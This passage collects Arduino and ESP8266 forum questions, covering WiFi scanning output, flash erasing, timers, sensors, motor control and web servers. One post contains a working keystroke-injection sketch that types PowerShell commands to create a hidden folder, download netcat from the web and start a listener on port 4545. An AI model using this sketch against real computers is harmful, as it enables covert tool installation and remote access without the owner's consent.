      Serial.print(WiFi.RSSI(i));
      Serial.print(")");
      Serial.println((WiFi.encryptionType(i) == ENC_TYPE_NONE)?" ":"*");
      delay(10);
    }
  }
  Serial.println("");

  // Wait a bit before scanning again
  delay(5000);
}

[output other ESP board]

scandone
scan done
8 networks found
1: 412 Precondition Failed (-67)*
2: VIDEOTRON1547 (-90)*
3: BELL275 (-94)*
4: BELL558 (-72)*
5: C-PC_Network (-88)*
6: BELL387 (-90)*
7: EBOX-4229 (-94)*
8: VIDEOTRON6825 (-80)*

scan start
scandone
scan done
11 networks found
1: 412 Precondition Failed (-63)*
2: VIDEOTRON1547 (-88)*
3: BELL681 (-90)*
4: BELL275 (-90)*
5: VIDEOTRON0442 (-90)*
6: BELL558 (-71)*
7: BELL602 (-90)*
8: IKA COIFFURE (-90)*
9: C-PC_Network (-87)*
10: EBOX-4229 (-87)*
11: BELL387 (-90)*

scan start
scandone
scan done
7 networks found
1: 412 Precondition Failed (-65)*
2: BELL681 (-88)*
3: VIDEOTRON1547 (-88)*
4: EBOX-4229 (-88)*
5: BELL387 (-87)*
6: BELL558 (-71)*
7: dlink-Ares (-75)*

[output mega+wifi]

SDK:2.2.1(cfd48f3)/Core:2.4.1/lwIP:2.0.3(STABLE-2_0_3_RELEASE/glue:arduino-2.4.1)
bcn 0
del if1
usl
mode : sta(2c:3a:e8:26:36:13)
add if0
wifi evt: 8
Setup done
scan start
scandone
scan done
1 networks found
1: BELL558 (-69)*

scan start
scandone
scan done
1 networks found
1: BELL387 (-88)*

scan start
scandone
scan done
no networks found

scan start
scandone
scan done
1 networks found
1: BELL387 (-87)*

[erasing flash]

PS \tool-esptoolpy> python .\esptool.py -p COM10 erase_flash
esptool.py v2.3.1
Connecting....
Detecting chip type... ESP8266
Chip is ESP8266EX
Features: WiFi
Uploading stub...
Running stub...
Stub running...
Erasing flash (this may take a while)...
Chip erase completed successfully in 14.2s
Hard resetting via RTS pin...


texts: Broadcasting parallel data from Arduino using router

texts:
I'm looking to read data from sensors using an ArduinoUNO in a greenhouse and then access the data wirelessly through a router. Hopefully through a webpage. No need for internet access, just local network access is good enough.

Preferably the only components involved would be the Arduino, the circuit, and a router with OpenWRT/DD-WRT to host the webpage and broadcast the network.

Pretty new to Arduinos in general, would this be possible? And how? The following 2 links from instructables.com seem to be the most relevant, can anyone give their input on how similar/different is this to my project?

http://www.instructables.com/id/PART-1-Send-Arduino-data-to-the-Web-PHP-MySQL-D3js/

http://www.instructables.com/id/Getting-Arduino-data-to-a-web-Page/


texts:
I am currently trying to get a real-time FFT working for a project on an Arduino 101 which uses the Intel Curie chip. All the FFT libraries (if any) seem to be for the Arduino Uno and architecture dependent (most of them have assembly stuff for optimization).

I was wondering if there is any robust, up do date and most importantly working (with the latest Arduino 101) library. I have tried the PlainFFT library which I read might be compatible with the Arduino 101 (https://forum.arduino.cc/index.php?topic=409791.0).

However this library seems to be out of date, using old extensions of sketch files and old library names in its code (I could not get it to work). Alternatively I wanted to try and tailor a pure C code such as https://github.com/jtfell/c-fft, which seems to have its own Makefile for compilation (this one uses a C99 compiler). I could compile and use this code on a Linux terminal but I am not sure how to go on about making it run inside an Arduino sketch.


texts: Since a Floating Point Unit (FPU) is not present in Arduino Uno, I wanted to know how float operations are performed. If it is simulated as integer operations, I want to know how exactly the simulation is done.


texts:
I am trying to build a 9-DOF IMU using the MPU-9250 chip which contains a gyro, accelerometer and compass. I have successfully realized 6-DOF sensor fusion using the DMP chip and Sparkfun's library, but I still have some yaw drift which is why I want to use its onboard compass for 9-DOF.

The DMP unfortunately can't do that so I tried kriswiner's work on 9-DOF sensor fusion which seemed to work but after I rotate the PCB, the yaw moves in the correct direction but it then slowly returns back to where it started, without me moving the PCB any more. This happens with many different sensor fusion libs, some more some less severe.

I have also tried just reading the raw mx and my values and reading the heading using atan2(my, mx) which made things a little better but still a 360° real-life rotation did not correspond at all to a 360° rotation on the chip.

Is this a known problem with the MPU-9250 and I am missing something completely obvious, or what could be wrong here?

Thank you for any help!


texts: Use Arduino Uno to program the on-board Atmega328 in C

texts:
I have an Arduino Uno board.  I have seen how it is possible to program external AVR's through the Arduino Uno board, for instance an ATtiny. But I'm starting with c for atmel µc and I just want to program Atmel328's through the Arduino hardware, and being able to use the arduino pins for outputs etc.

So my question is, can I use the Arduino Uno board together with avrdude and avr-gcc to program the on-board atmel328 in C? And thus being able to use the Arduino pins for output and input?


texts: How to handle concurrent HTTP request when using interrupt

texts:
I'm trying to make a door sensor with a reed switch. Each time the there is a change, the ESP8266 sends an HTTP request to web service.

Unfortunately, the ESP8266 serial monitor dumps a huge stack trace when I'm approaching the magnet to the reed switch:

Exception (9):
epc1=0x40104b14 epc2=0x00000000 epc3=0x00000000 excvaddr=0x00000003 depc=0x00000000

ctx: sys
sp: 3fffeb20 end: 3fffffb0 offset: 01a0

>>>stack>>>
3fffecc0:  00000002 00000006 3ffefdc4 40227108
3fffecd0:  3ffefa74 00000002 00000014 401004e4
3fffece0:  3ffeffbc 3ffeffc0 00000006 00000001
3fffecf0:  402253bc 00000000 00000010 00000000
3fffed00:  00000000 4bc6a7f0 81cac083 00000000
3fffed10:  00000000 00000000 4bc6a7f0 00000000
3fffed20:  40104d40 0037d809 3ffeecd0 00000000
3fffed30:  3ffee520 3ffeecd0 3ffeffbc 40224398
3fffed40:  00000000 00200085 40201578 00001388
3fffed50:  3ffeecd0 00000000 00000050 00000050
3fffed60:  00000000 3fffedd0 3ffefd34 402032e5
3fffed70:  1301a8c0 00000031 3ffeebbc 402039cc
3fffed80:  3ffeedb8 000000ef 000000ef 00000020
3fffed90:  ffffffff 00000050 3fffedd0 40202d5c
3fffeda0:  40204738 1301a8c0 40204738 1301a8c0
3fffedb0:  3ffe8a64 00000005 000...

I think it's because the ESP8266 tries to make concurrent HTTP calls...
How can I solve this?

Here is the code:

// https://www.instructables.com/id/Arduino-Software-debouncing-in-interrupt-function/
// #include "util/atomic.h"
#include "ESP8266WiFi.h"
#include "ESP8266HTTPClient.h"
#include "Wire.h"

const char* ssid = "****";
const char* pass = "****";
const byte interruptPin = 5;
long debouncing_time = 50; //Debouncing Time in Milliseconds
volatile unsigned long last_micros;
const char* host= "192.168.1.19";
const char* doorStates[2] = {"closed", "opened"};

void connection()
{
  // Establish a WIFI connection
}

void setup()
{
  Serial.begin(115200);
  connection();
  pinMode(interruptPin, OUTPUT);

  // Attaching interrupt
  attachInterrupt(digitalPinToInterrupt(interruptPin), handleInterrupt, CHANGE);
}

void loop()
{
  delay(1000);
}

void handleInterrupt() {
  if ((long)(micros() - last_micros) >= debouncing_time * 1000) {
    int val = digitalRead(interruptPin);
      notify(val);
  }
  last_micros = micros();
}
// Make HTTP Call to web service
void notify(int val)
{
  WiFiClient client;
  const String frontDoorState = doorStates[val];
  String url = "http://192.168.1.19/alarm/front-door/state/" + frontDoorState;
  client.connect(host, 80);
    client.print(String("GET ") + url + " HTTP/1.1\r\n" +
                 "Host: 192.168.1.19\r\n" +
                 "Connection: close\r\n\r\n");
                 client.stop();
}


texts: Why does only one of my motor work in l293d motor shield?

texts:
I am building a remote control car using an Arduino and a l293d motor shield but only 1 port in the shield works among the other 4, why is that?
Below is my code:
char Incoming_Value = 0;
#include<AFMotor.h>
AF_DCMotor motor1(3);
AF_DCMotor motor2(2);

void setup() {
  Serial.begin(9600);
  pinMode(13, OUTPUT);
  motor1.setSpeed(255);
  motor2.setSpeed(255);
}

void loop() {
  if (Serial.available() > 0) {
    Incoming_Value = Serial.read();

    if (Incoming_Value == '1')
      digitalWrite(13,HIGH);

    motor1.run(BACKWARD);
    motor2.run(BACKWARD);

    if (Incoming_Value == '0')
      motor1.run(FORWARD);

    motor2.run(FORWARD);
    digitalWrite(13,LOW);

    if (Incoming_Value == '2') // LEFT
      motor1.run(BACKWARD);

    motor2.run(FORWARD);

    if (Incoming_Value == '3') // RIGHT
      motor1.run(BACKWARD);

    motor2.run(FORWARD);

    if (Incoming_Value == '5')
      motor1.run(RELEASE);

    motor2.run(RELEASE);
  }
}


texts: I want to connect multiple sensors and see their measurements via ESP8266 Web Server. But, the problem is that ESP8266 has only one analog pin and I can't connect multiple sensors to it, so i need to connect it to the Arduino. How can i do that?


texts:
I would like to wake Attiny45 from sleep by Serial communication. RX is connected to pin 7 (D2). When I try to use PCINT0_vect routine, I get an error "multiple definition of `__vector_2'" so it looks like Software Serial already uses "ISR (PCINT0_vect)" and pin change interrupt.

So my question is, will incomming communication wake Attiny from sleep?

Is there a possibility to change CLKPR when Attiny starts receiving? For example I set clock divider to 256 for the majority of time and when it starts receiving it changes back to 1.

I was thinking of something like this:

void loop() {
 if (SWSerial.available()>0) {
   noInterrupts ();
   CLKPR = bit (CLKPCE);
   CLKPR = clock_div_1;
   interrupts ();
 }
//other code here
}

I don't mind loosing some bytes, but I need to low Idle current as much as possible.
Thank you.


texts:
I have downloaded the arduino Environment on my windows XP and also set the driver properly.
I discovered the arduino uno device on the device manager display list disappeared whenever I unplugged the arduino UNO. I want to know if there are extra things needed to set up the device as none of my sketches has ever gotten flashed to the board.
Someone told me I need Java (Compiler and Runtime) to use arduino is this true?
I only have JVR


texts: Adding an LCD to Uno but not enough pins left

texts: I am an absolute beginner and wanted to build a simple home automation system using DTMF module using this guide. My problem is out of 12 pins most of them are getting used in DTMF module(5) and the relay module(4). So how do i add an LCD display to it?


texts:
I recently bought a new Arduino Uno and it works on ch430g. I want to code it using android coz I don't have a pc is there any way to install ch430g driver for android
Note: it's a clone


texts: Unable to type in Arduino IDE running on OS X

texts:
I'm trying to use the Arduino IDE (1.6.8 downloaded from arduino.cc) on a MacBook running OS X (10.11.5 beta).

The IDE seems to run and I can open and upload the examples and they run. But…

I can't type in the editor window of the IDE – either with the examples or with the new sketch that opens when you launch the IDE.

I have a similar problem with the version of the IDE distributed with mBlock (1.6.5) if I use the Edit in Arduino IDE button. I also tried the 1.6.9 hourly version. All to no avail. So I'm thinking that this is a OS X problem, or maybe an issue with version of Java (1.8.0).

Any ideas or troubleshooting suggestions?


texts:
I have extracted a speaker frim a cheap radio. And I want to connect it to arduino uno. But, I dont know the rating of the speaker. And I am Afraid that If it is over rated, it can fry my arduino. The diameter of the speaker is 9 cm (approx). Whether this Speaker is more likely to be  of 4 ohms, 8 ohms, or 16 ohms ???
I dont have a multimeter...What cam be the probable value of speaker ?


texts: Why does Keyboard.Print adds random values to url?

texts:
I'm trying to print a sequence of power shell commands including a url to the powershell interpreter but every time I execute it with the Arduino Micro it adds random values to the url. Here's the normal print statement.

Keyboard.print("cd \"$HOME\"; $folder=mkdir \"Misc\"; $folder; $folder.Attributes= \"Hidden\"; $url=\"https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip\"; $output = \"$HOME\\Misc\\nc.zip\"; (New-Object System.Net.WebClient).DownloadFile($url,$output); $shell=New-Object -ComObject shell.application; $zip=$shell.NameSpace(\"$HOME\\Misc\\nc.zip\"); foreach ($item in $zip.items()) { $shell.NameSpace(\"$HOME\\Misc\").CopyHere($item)}; cd \"$HOME\\Misc\\netcat-1.11\"; & \"$HOME\\Misc\\netcat-1.11\\nc.exe\" -lp 4545 > incoming.txt ");
    typeKey(KEY_RETURN);

I'm passing this link https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip to a variable called $url and here is the actual output when the command executes

  cd "$HOME"; $folder=mkdir "Misc"; $folder; $folder.Attributes= "Hidden"; $url="https://eternallybored.org/misc/netcat/netcat-win32-1.2a211.zip"; $output = "$HOME\Misc\nc.zip"; (New-Object System.Net.WebClient).DownloadFile($url,$output); $shell=New-Object -ComObject shell.application; $zip=$shell.NameSpace("$HOME\Misc\nc.zip"); foreach ($item in $zip.items()) { $shell.NameSpace("$HOME\Misc").CopyHere($item)

notice how the $url now has random values in them?

https://eternallybored.org/misc/netcat/netcat-win32-1.2a211.zip

Also If you try copying and pasting the url I posted above on a browser, the url doesn't work. But if you go to https://eternallybored.org/misc/netcat/ and copy link location of netcat 1.11 which is the same url and paste it. The url works...

I don't understand why this is happening any thoughts?

Full code

void typeKey(int key) {

  Keyboard.press(key);
  delay(50);
  Keyboard.release(key);
}

/* Init function */

void setup() {
  //Beging Keyboard Stream
  Keyboard.begin();
  delay(500);

  Keyboard.press(KEY_LEFT_GUI);
  delay(4000);
  Keyboard.press('r');
  delay(4000);

  Keyboard.releaseAll();

  delay(1000);

  Keyboard.print("powershell");

  typeKey(KEY_RETURN);

    delay(1000);
    Keyboard.print("cd \"$HOME\"; $folder=mkdir \"Misc\"; $folder; $folder.Attributes= \"Hidden\"; $url=\"https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip\"; $output = \"$HOME\\Misc\\nc.zip\"; (New-Object System.Net.WebClient).DownloadFile($url,$output); $shell=New-Object -ComObject shell.application; $zip=$shell.NameSpace(\"$HOME\\Misc\\nc.zip\"); foreach ($item in $zip.items()) { $shell.NameSpace(\"$HOME\\Misc\").CopyHere($item)}; cd \"$HOME\\Misc\\netcat-1.11\"; & \"$HOME\\Misc\\netcat-1.11\\nc.exe\" -lp 4545 > incoming.txt ");
    typeKey(KEY_RETURN);

    Keyboard.end();
}
    void loop() {
    }


texts: Timer frequency calculation for UNO/Atmega328

texts:
I must be overwrought or something... I just can't get the calculation of the timer frequency right. I have a 16 MHz crystal on the Atmega328. I want 1 kHz timer interrupt rate. So I chose prescaler = 64 and counter top = 249, that is

fTimer = fCPU/prescaler/(top+1) = 16 MHz/64/250 = 1 kHz

But my oscilloscope shows 2 kHz... !? Why?

I have read Timer2 Compare Interrupt not working as expected but the accepted answer doesn't make it better. There the frequency is half as high whereas mine is twice as high as expected.

Code:

const int signalLED = 1; //14;

void setup()
{
  pinMode(signalLED, OUTPUT);
  digitalWrite(signalLED, LOW);

  TCCR2A = 0; // set TCCR2A register to 0
  TCCR2B = 0; // set TCCR2B register to 0
  TCNT2  = 0; // reset counter
  OCR2A = 249; // top value in CTC mode
  TCCR2A |= (1 << WGM21); // enable timer2 CTC mode
  TCCR2B |= (1 << CS21) | (1 << CS20); // 1:64 prescaling for timer 2
  TIMSK2 |= (1 << OCIE2A); // enable timer2 compare interrupt
  sei(); // allow interrupts
}

ISR(TIMER2_COMPA_vect)
{
  // generate peak
  digitalWrite(signalLED, HIGH);
  digitalWrite(signalLED, LOW);
}

void loop()
{
}


texts: Alter baud rate after being certain events

texts:
I'm using my HC-05 (Master) to receive strings from a sensor (Slave). Each string is supposed to have 7 items divided by ',' like so:

  a,b,c,d,e,f,g

But it isn't always received in such a manner. Sometimes it's 1.5 of a string or 2 strings in 1. I have tested the sensor with its native software and others, so the sensor shouldn't be the problem. So I believe it may be a baud rate issue. I tried to increase the HC-05's baud rate to 115200, but wasn't able to test anything because I need to use AT commands at the beginning of the program and for that the baud rate has to be 38400.

Is there any way to change the baud rate for Serial after the fact?

PS: I'm using a Mega 2560 and the sensor has a sample rate of 8Hz.

#include <SoftwareSerial.h>
#include <SD.h>

String test="";
char aux;
File myFile;

void setup() {
  pinMode(22, OUTPUT);
  digitalWrite(22,HIGH);
  Serial1.begin(38400);
  Serial.begin(38400);
  Serial.println("To begin capture press any key and enter");
  while(!Serial.available());
  Serial1.println("AT+INIT");
  while(!Serial1.available());
  Capture();
}

void Capture() {
  while(!Serial1.available());
  for(int i=0;i<2;i++) {
    delay(125);
    while(Serial1.available()) {
      aux=Serial1.read();
      Serial.print(aux);
    }
  }
  Serial.println("END");
}

void loop() {
}


texts: Do they make 2.54mm 2P Crimpable Micro JST Female connectors?

texts:
This may be a dumb question but I need some (preferably with wires already attached) and I'm unable to find any like this. Everything I find has male crimps and female surface mount. That doesn't work for very well with my project because I do not have room in my project box for another board. I'm already cramped just adding the headers that I was planning to solder these wires to.

Here is what I'm looking for in the 1.25mm variety:


texts:
I don't have much experience in C++ programming. I'm getting this error

'z' does not name a type!!!

which I have't seen in MATLAB or python... What's wrong??? It is so simple!!!

float x=10; float y=50; float z;
z=x*y;

void setup() {
  // put your setup code here, to run once:
}

void loop() {
  // put your main code here, to run repeatedly:
}


texts:
I'm printing an "unsigned long" value to HEX via:

println(cardCode, HEX);

The value that I'm getting is: 69fb879d

I need it to be reversed as: 9d87fb69

I populate cardCode via the code:

for (i=1;i<bitCount;i++)
{
  cardCode <<=1;
  cardCode |= databits[i];
}

going into this my bitCount value is 32, so basically I'm populating cardCode based on 32 bits from the variable databits which is of type unsigned char.

I am absolutely crap at bitwise conversions (bit-shifting, etc.), is there a simple way to do this reversal?  Is this even enough information to go on?


texts: How to flash an ATMEGA2560 using a WIZnet 5500?

texts: I am wondering if anyone has ever flashed a ATMEGA2560 utilizing a WIZnet 5500? I have looked at this bootloader package but it only supports the 5100. I may have to do it myself but am a little worried as there doesn't seem to be any support/documentation online and I am not the best programmer. Any help would be greatly appreciated.


texts: I'm trying to figure out how to create some non-blocking code to strobe some RGB leds with analogwrite  7 times a second; I'm really not to sure how to go about this. If anybody could give me some help that'd be great! :)


texts: Rename device name (ch340 usb to serial) Mac OS

texts:
Can't upload sketches to Arduino Nano clone with USB to serial chip ch340.

After installing drivers and plugging in, device has the name cu/tty.wch ch341 USB=>RS232 fa130 (with spaces), but Arduino can't recognize the full name (only tty.wch).

Is it possible to rename device in Mac OS or change device identifier?

UPDATE: ch340 new driver http://www.wch.cn/downloads.php?name=pro&proid=178


texts:
I am trying to make a program to control a stepper motor with serial inputs, and in writing a function to jog it, I am having trouble figuring out how to make a serial input stop the loop that steps the motor without making the time per step inconsistent.  Is there a way where I can have a new serial input act like an interrupt and break any loop that's in progress.

void jog() {
  if(input[1] == 0) sd.setDirection(0);
  else sd.setDirection(1);
  while(true){
    if(Serial.available() > 0) break;
    sd.step();
    delayMicroseconds(10);
  }
  sd.setDirection(0);
}

Right now I have this (I'm using a Pololu library that defines the steps), but for some reason this does nothing or at least moves so slow it's imperceptible (a single step only moves the motor 0.007 degrees).  It moves the motor very smoothly if I delete if(Serial.available() > 0) break; but then I can't stop it.

void loop() {
  getData();
  switch(input[0]){
    case 'r':
      Serial.write('r');
      ramp();
      break;
    case 'c':
      Serial.write('c');
      cycle();
      break;
    case 'j':
      //Serial.write('j');
      jog();
      break;
    default:
      break;
  }
}
void getData(){
if(Serial.available() > 0){
  for(int i = 0; i < 200; i ++){
    input[i] = 0;
  }
  for(int i = 0; i < Serial.available(); i++){
    input[i] = Serial.read();
    Serial.print(input[i]);
  }
}
Serial.flush();
//Serial.print(input[0]);
}

This is the relevant code that calls jog()


texts:
I have an Arduino UNO and an ESP8266 module.
I would like to connect my ESP to my wifi network and upload data to Thingspeak.
How can I do it?
What I find on the web is a bit misleading and non-specific to my case.

Thank you very much.


texts: Arduino stopped showing up in /dev and dmesg without response

texts:
Arduino suddenly stopped being recognized.
It is not listed in /dev and
dmesg -w shows no activity at all when un/plugged.
I'm on Fedora 33. The Arduino is MKR-Zero. The cable is ok - other devices work well. I tried it on windows machine - same result - in Arduino IDE the option for port is greyed out.
Very weird thing happened before this issue- when I was trying to flash sketch, audio connected to docking station switched to speakers in laptop and keyboard + mouse connected to the docking station powered down (back light on keyboard went off and could not be turned on) however the Num lock light was on.
I'm afraid that I burned the Arduino - how do I verify if that is the case.
The "ON" LED is lit up when plugged in


texts:
I'm working on a simple REST server. I made method to handle http://<esp8266_IP>/test. The GET method works like a charm and I got the response. Then I tried to send a POST with a JSON data (I used PostMan) but I cannot read anything.

Searching online I read ESP8266 library cannot parse JSON and in that case I can found plain text into server.arg("plain"). I tried that but no success

How can I read the data into the POST method?

ESP8266WebServer server(80);
...

void handleTest()
{
    if (server.method() == HTTP_GET)
    {
        ...
    }
    else if (server.method() == HTTP_POST)
    {
        String message = "POST\nHeaders:\n";
        for (uint8_t i = 0; i < server.headers(); i++)
        {
            message += server.headerName(i) + ": " + server.header(i) + "\n";
        }
        message += "\nRequest params:\n";
        for (uint8_t i = 0; i < server.args(); i++){
            message += " " + server.argName(i) + ": " + server.arg(i) + "\n";
        }
        server.send(202, "text/plain", message);
    }
}
...
void setup()
{
    WiFi.begin(ssid, password);
    Serial.println("");

    // Wait for connection
    while (WiFi.status() != WL_CONNECTED) {
        delay(500);
        Serial.print(".");
    }

    if (MDNS.begin("esp8266")) {
        Serial.println(F("[Server] MDNS responder started"));
    }

    server.on("/test", handleTest);
}